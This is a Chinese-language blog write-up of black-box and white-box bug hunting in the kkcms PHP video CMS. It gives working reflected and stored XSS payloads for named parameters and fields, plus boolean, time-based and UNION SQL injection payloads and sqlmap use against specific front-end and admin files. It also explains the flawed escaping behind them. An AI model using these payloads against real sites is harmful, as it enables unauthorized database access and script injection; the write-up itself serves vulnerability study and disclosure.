免责声明:
“ 本公众号所有文章, 仅用于交流学习,禁止应用到不当途径,因滥用而产生的风险皆与本人无关!”
目录:
3处反射型xss (黑盒)
3处存储型xss (黑盒)
4处前台sql注入 (黑盒+白盒)
n处后台sql注入 (黑盒)
反射型XSS
发现参数m/cat/page, 开始挨个测试
?m=<script>alert(2021)</script>?cat=all&page=1
复制
没弹窗? 发现插入的payload变成了这样:
这不就是妥妥的一枚xss嘛?
先闭合标签a
?m=><script>alert(2021)</script>?cat=all&page=1
复制
再闭合"
?m="><script>alert(2021)</script>?cat=all&page=1
复制
小窗窗终于弹起来了:
同样的payload,扔给第2个参数
?m=/dianying/list.php?cat="><script>alert(2021)</script>&page=1
复制
又一枚xss到手,果然挖洞得"敢想敢做"🤡
。。。又一枚
?m=/dianying/list.php?rank="><script>alert(2021)</script>&page=1
复制
看完反射型xss(估计还有一堆),来看看存储型,一般漏洞触发的场景主要有以下两种:
不需要注册账号
客服,留言,友链,评论,提问等地方
复制
需要注册账号
填资料的位置,比如家庭住址,邮箱,订单收货地址等
复制
所以黑盒测试的思路就是把大致的功能点和交互点过一遍,然后根据经验(漏洞复现/师傅们的博客/公开的漏洞报告等),挨个测就完事儿!
注册账号
登录
凭感觉,先用上面的payload试试
"><script>alert(2021)</script>
复制
然而并没有弹窗,看看插入后的样子
嗯?目测存储型xss一枚, 重新构造payload
"><script>alert(2021)</script><
复制
闭合后面的尖括号
果然,第1枚存储型xss到手;继续,在底部发现一处申请友链的地方:
直接复用之前邮箱处的payload,毕竟讲究代码的复用性,我相信漏洞也是可以复用的
"><script>alert(2021)</script><
复制
开启上帝模式,去后台看看
这,,,果真就漏洞复用呗,第2枚存储型xss到手。继续,找到一处能留言的地方,但是验证码却一直刷不出来
上帝模式,直接把验证码的功能干掉,并不影响漏洞成因
先试试改动的代码生效没
提示"昵称不合法",证明已经通过了验证码的校验,可以继续弹窗了,继续复用上面的payload
捡漏"><script>alert(2021)</script><
复制
提交
点击"确定",??? 又一击命中 ?
这,第3枚存储型xss应该也稳了
去后台看看,最终在"求片留言"处成功触发
第3枚存储型xss到手。
SQL注入
回到首页,把前台功能点都点一遍,burp抓包,记录一下流量,然后慢慢看。
首先根据流量定位到注册用户处
账号:admin
复制
这意味着用户名和数据库很有可能是有交互的,也就很有可能产生注入点
sqlmap -r reg.txt
复制
注入1到手,看看payload
# 布尔盲注
name=admin' AND 9694=9694 AND 'mlpt'='mlpt&email=admin@admin.com&password=123456&submit=
# 时间盲注
name=admin' AND (SELECT 6574 FROM (SELECT(SLEEP(5)))QSrv) AND 'rFga'='rFga&email=admin@admin.com&password=123456&submit=
复制
burp验证-正常回显:
burp验证-延迟回显:
漏洞成因-/ucenter/reg.php:
跟进/system/inc.php
继续,,,在library.php中发现了这样一段处理代码
对$_POST使用addslashes_deep()函数进行处理,addslashes_deep定义如下
addslashes(): 添加反斜杠对单引号进行转义;
即addslashes_deep()的作用是对单引号的全局过滤。
理论上来说UTF-8编码+单引号全局过滤在这里是可以避免SQL注入的,但是作者来了一波"负负得正":
相当于,$_POST[name]经addslashes_deep()处理后转义了单引号,然后stripslashes()函数又把addslashes()添加的反斜杠给去掉,这不就是没有任何过滤嘛?
根据"漏洞复用准则"🧐,直接全局搜索stripslashes()
见ucenter/active.php:
第2枚注入到手
# 查看当前数据库
1' UNION ALL SELECT CONCAT(0x01,IFNULL(CAST(DATABASE() AS NCHAR),0x20),0x01)-- -
复制
继续全局搜索,见ucenter/repass.php,第3枚注入get。
第4枚注入:
注入点cid,对应文件:/template/wapian/vlist.php
参数cid没有经过任何处理便拼接在sql语句
延迟验证
cid=12) AND (SELECT 6127 FROM (SELECT(SLEEP(5)))xdxa) AND (8504=8504
复制
后台也有多处sql注入点
/admin/cms_youlian.php
/admin/cms_link.php
/admin/cms_slideshow_edit.php
/admin/cms_admin_edit.php
/admin/cms_user_edit.php
...
复制
这里仅以为/admin/cms_user_edit.php例
回显正常:and 1=1
回显异常:and 1=2
sqlmap验证
分析漏洞成因,跟进/admin/cms_user_edit.php,定位关键代码
文件入口先包含了3个文件,主要是对管理员登录状态的校验以及一次单引号全局过滤,然后就直接拼接sql语句
虽然addslashes()可以防御这里的字符型注入,但是数字型呢?
延迟验证:
存储型xss分析-以email处为例,定位相关文件
跟进/ucenter/userinfo.php,
简单地匹配了用户名密码,便把数据插入到数据库中
然后从数据库中取出数据未经过任何处理便输出
本来还想水个cnvd证书,结果
加上该cms公网案例比较少,漏洞成因也很简单,所以还是公开给大家学习吧,毕竟对像我这样的新手还是蛮友好的。
公众号留言: kkcms,获取文中源码
复制